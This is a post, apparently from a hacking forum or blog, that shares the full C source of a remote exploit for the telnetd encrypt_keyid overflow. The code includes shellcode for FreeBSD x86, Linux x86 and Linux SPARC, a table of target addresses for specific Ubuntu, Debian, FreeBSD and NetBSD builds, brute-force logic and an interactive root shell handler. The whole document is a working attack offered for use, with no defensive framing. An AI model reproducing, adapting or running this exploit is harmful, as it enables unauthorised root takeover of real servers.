The famous ‘targets’ copy i was apparently keeping from everyone… enjoy (with targets! and even addable targets!) !

/*
 *            telnetd-encrypt_keyid.c
 *  Mon Dec 26 20:37:05 CET 2011
 *  Copyright  2011  Jaime Penalba Estebanez (NighterMan)
 *  Copyright  2011  Gonzalo J. Carracedo (BatchDrake)
 *  nighterman@painsec.com - jpenalbae@gmail.com
 *  BatchDrake@painsec.com - BatchDrake@gmail.com
*/
/*
 * Usage:
 * $ gcc exploit.c -o exploit
 * $ ./exploit 127.0.0.1 23 1
 * [<] Succes reading intial server request 3 bytes
 * [>] Telnet initial encryption mode and IV sent
 * [<] Server response: 8 bytes read
 * [>] First payload to overwrite function pointer sent
 * [<] Server response: 6 bytes read
 * [>] Second payload to triger the function pointer
 * [*] got shell?
 * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/*
 * Most of the inetd impletantions have a connection limit per second
 * so you must chage this if you start getting errors reading responses
 *  - for 60 conex per min  900000
 *  - for 40 conex per min 1500000
 *  - for no limit 300000 should work
 */
#define BRUTE_TOUT 600000  // seems pretty fair on cpu ..
#define MAXKEYLEN 64-1

struct key_info {
  unsigned char keyid[MAXKEYLEN];
  unsigned char keylen[4];
  unsigned char dir[4];
  unsigned char modep[4];
  unsigned char getcrypt[4];
};
struct target_profile {
  uint32_t      skip;
  const char    *address;
  const char    *desc;
  const char    *shellcode;
};

/* Shellcode FreeBSD x86 */
const char s_bsd32[] =
   "\x31\xc0"                      // xor          %eax,%eax
   "\x50"                          // push         %eax
   "\xb0\x17"                      // mov          $0x17,%al
   "\x50"                          // push         %eax
   "\xcd\x80"                      // int          $0x80
   "\x50"                          // push         %eax
   "\x68\x6e\x2f\x73\x68"          // push         $0x68732f6e
   "\x68\x2f\x2f\x62\x69"          // push         $0x69622f2f
   "\x89\xe3"                      // mov          %esp,%ebx
   "\x50"                          // push         %eax
   "\x54"                          // push         %esp
   "\x53"                          // push         %ebx
   "\x50"                          // push         %eax
   "\xb0\x3b"                      // mov          $0x3b,%al
   "\xcd\x80";                     // int          $0x80

/* Shellcode Linux x86 */
const char s_linux32[] = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

/* Shellcode Linux sparc */
const char s_linuxsparc[] = "\x2d\x0b\xd8\x9a"  /* sethi %hi(0x2f626800), %l6 */
                            "\xac\x15\xa1\x6e"  /* or %l6, 0x16e, %l6         */
                            "\x2f\x0b\xdc\xda"  /* sethi %hi(0x2f736800), %l7 */
                            "\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0          */
                            "\x92\x03\xa0\x08"  /* add %sp, 0x08, %o1         */
                            "\x94\x22\x80\x0a"  /* sub %o2, %o2, %o2          */
                            "\x9c\x03\xa0\x10"  /* add %sp, 0x10, %sp         */
                            "\xec\x3b\xbf\xf0"  /* std %l6, [ %sp + - 16 ]    */
                            "\xd0\x23\xbf\xf8"  /* st %o0, [ %sp + - 8 ]      */
                            "\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ]           */
                            "\x82\x10\x20\x3b"  /* mov 0x3b, %g1              */
                            "\x91\xd0\x20\x10"; /* ta 0x10                    */

/* Valid targets list */
struct target_profile targets[] = {
  {20, "\x00\x80\x05\x08", "Generic Linux i386 bruteforce", s_linux32},
  {20, "\x00\x80\x05\x08", "Generic BSD i386 bruteforce", s_bsd32},
  {20, "\x23\xcc\x05\x08", "Ubuntu GNU/Linux 10.04, Inetutils Server (i386)", s_linux32},
  {20, "\x12\xc9\x05\x08", "Ubuntu GNU/Linux 10.04, Heimdal Server (i386)", s_linux32},
  {20, "\xef\x56\x06\x08", "Debian GNU/Linux stable 6.0.3, Inetutils Server (i386)", s_linux32},
  {20, "\x56\x9a\x05\x08", "Debian GNU/Linux stable 6.0.3, Heimdal Server (i386)", s_linux32},
  {1,  "\x00\x03\xe7\x94", "Debian GNU/Linux stable 6.0.3 Inetutils (SPARC)", s_linuxsparc},
  {3,  "\x00\x03\x2e\x0c", "Debian GNU/Linux stable 6.0.3 Heimdal Server (SPARC)", s_linuxsparc},
  {20, "\xa6\xee\x05\x08", "FreeBSD 8.0 (i386)", s_bsd32},
  {20, "\xa6\xee\x05\x08", "FreeBSD 8.1 (i386)", s_bsd32},
  {20, "\xed\xee\x05\x08", "FreeBSD 8.2 (i386)", s_bsd32},
  {20, "\x02\xac\x05\x08", "NetBSD 5.1 (i386)", s_bsd32},
  {0, NULL, NULL, NULL}
};

/* Telnet commands */
static unsigned char tnet_init_enc[] =
        "\xff\xfa\x26\x00\x01\x01\x12\x13"
        "\x14\x15\x16\x17\x18\x19\xff\xf0";

static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
static unsigned char tnet_end_suboption[] = "\xff\xf0";

/* Check if the shellcode worked, slightly simpler than shell (int) */
static int checkmagic (int fd) {
  char got[32];
  if (write (fd, "echo foo\n", 9) < 0)
    return -1;
  if (read (fd, got, 32) <= 0)
    return -1;
  return -!strstr (got, "foo");
}

static void shell(int fd) {
    fd_set  fds;
    char    tmp[128];
    int n;
    /* check uid */
    write(fd, "id\n", 3);
    /* semi-interactive shell */
    for (;;) {
        FD_ZERO(&fds);
        FD_SET(fd, &fds);
        FD_SET(0, &fds);
        if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }
        /* read from fd and write to stdout */
        if (FD_ISSET(fd, &fds)) {
            if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
                fprintf(stderr, "Goodbye..\n");
                break;
            }
            if (write(1, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
        /* read from stdin and write to fd */
        if (FD_ISSET(0, &fds)) {
            if ((n = read(0, tmp, sizeof(tmp))) < 0) {
                perror("read");
                break;
            }
            if (write(fd, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
    }
}

static int open_connection(in_addr_t dip, int dport) {
   int pconn;
   struct sockaddr_in cdata;
   struct timeval timeout;
   /* timeout.tv_sec  = _opts.timeout; */
   timeout.tv_sec  = 8;
   timeout.tv_usec = 0;
   /* Set socket options and create it */
   cdata.sin_addr.s_addr = dip;
   cdata.sin_port = htons(dport);
   cdata.sin_family = AF_INET;
   pconn = socket(AF_INET, SOCK_STREAM, 0);
   if(pconn < 0) {
   printf("Socket error: %i\n", pconn);
   printf("Err message: %s\n", strerror(errno));
   return (-1);
   }
   /* Set socket timeout */
   if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,(void *)&timeout, sizeof(struct timeval)) != 0)
   perror("setsockopt SO_RCVTIMEO: ");
   /* Set socket options */
   if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,(void *)&timeout, sizeof(struct timeval)) != 0)
   perror("setsockopt SO_SNDTIMEO: ");
   /* Make connection */
   if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0) {
   close(pconn);
   return -1;
   }
   return pconn;
}

static void usage(char *arg) {
    int x = 0;
    printf("Available Targets:\n\n");
    /* print tagets */
    while(targets[x].address != NULL) {
    printf("  %2i: %s\n", x + 1, targets[x].desc);
    x++;
    }
    printf("\n");
    printf("Telnetd encrypt_keyid exploit\n");
    printf("Usage: %s [IP] [Port] [Target]\n\n", arg);
}

int attack (const char *ip, unsigned int port,unsigned char *payload, unsigned int psize, int tryshell) {
  unsigned char readbuf[256];
  int ret;
  int conn;
  /* Open the connection */
  conn = open_connection(inet_addr(ip), port);
  if (conn == -1) {
  printf("[-] Error connecting: %i\n", errno);
  return -1;
  }
  /* Read initial server request */
  ret = read(conn, readbuf, 256);
  if (ret <= 0) {
  printf ("[!] Error receiving response: %s\n", ret ? strerror (errno) : "empty response");
  close (conn);
  return -1;
  }
  printf("[<] Success reading intial server request %i bytes ..\n", ret);
  /* printf("ATTACH DEBUGGER & PRESS KEY TO CONITNUE\n"); */
  /* ret = getchar(); */
  /* Send encryption and IV */
  ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
  if (ret != sizeof(tnet_init_enc)) {
  printf("[-] Error sending init encryption: %i\n", ret);
  close (conn);
  return -1;
  }
  printf("[>] Telnet initial encryption mode and IV sent\n");
  /* Read response */
  if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN) {
  printf ("[!] Timeout when receiving response\n");
  close (conn);
  return -1;
  } else
  printf("[<] Server response: %i bytes read\n", ret);
  /* Send the first payload with the overflow */
  ret = write(conn, payload, psize);
  if (ret != psize) {
  printf("[-] Error sending payload first time\n");
  close (conn);
  return -1;
  }
  printf("[>] First payload to overwrite function pointer sent\n");
  /* Read Response */
  if ((ret = read(conn, readbuf, 256)) == -1 && errno == EAGAIN) {
  printf ("[!] Timeout when receiving response ..\n");
  close (conn);
  return -1;
  }
  else
  printf("[<] Server response: %i bytes read\n", ret);
  /* Send the payload again to tigger the function overwrite */
  ret = write(conn, payload, psize);
  if (ret != psize) {
  printf("[-] Error sending payload second time ..\n");
  close (conn);
  return -1;
  }
  printf("[>] Second payload to trigger the function pointer ..\n");
  if (tryshell) {
  /* Start the semi interactive shell */
  printf("[*] Got root?\n");
  shell(conn);
  ret = 0;
  } else {
  printf ("[*] Does this work? ");
  /* Just check if it works */
  if (checkmagic (conn) == 0) {
  printf ("YES!\n");
  printf ("Add the Target address to the targets list & recomple!\n");
  ret = 0;
  } else {
  printf ("[-] Nope,try again ..\n");
  ret = -1;
  }
  }
  close (conn);
  return ret;
}

int main(int argc, char *argv[]) {
      int offset = 0;
      int target;
      int i;
      unsigned int address;
      /* Payload Size */
      int psize = (sizeof(struct key_info) +
      sizeof(tnet_option_enc_keyid) +
      sizeof(tnet_end_suboption));
      struct key_info bad_struct;
      unsigned char payload[psize];
      if (argc != 4) {
      usage(argv[0]);
      return -1;
      }
      /* Fill the structure */
      memset(&bad_struct, 0x90, sizeof(struct key_info));
      memcpy(bad_struct.keylen,   "DEAD", 4);
      memcpy(bad_struct.dir,      "BEEF", 4);
      target = atoi(argv[3]) - 1;
      /* Target selection */
      struct target_profile *t;
      t = &targets[target];
      printf("Target: %s\n\n", t->desc);
      for (i = 0; !i || target < 2; i++) {
      offset = 0;
      memcpy(&bad_struct.keyid[t->skip], t->shellcode, strlen(t->shellcode));
      memcpy (&address, t->address, 4);
      address += ((i + 1) >> 1) * (t->skip - 1) * (1 - ((i & 1) << 1));
      printf ("[*] Target address: 0x%04x\n", address);
      memcpy(bad_struct.modep, &address, 4); /* Readable address */
      memcpy(bad_struct.getcrypt, &address, 4); /* Function pointer */
      /* Prepare the payload with the overflow */
      memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
      offset += sizeof(tnet_option_enc_keyid);
      memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
      offset += sizeof(bad_struct);
      memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
      if (attack (argv[1], atoi (argv[2]), payload, psize, target >= 2) == 0)
      break;
      usleep (BRUTE_TOUT);
    }
    return 0;
}

ENJOY! The ‘pvt’ socalled version
XD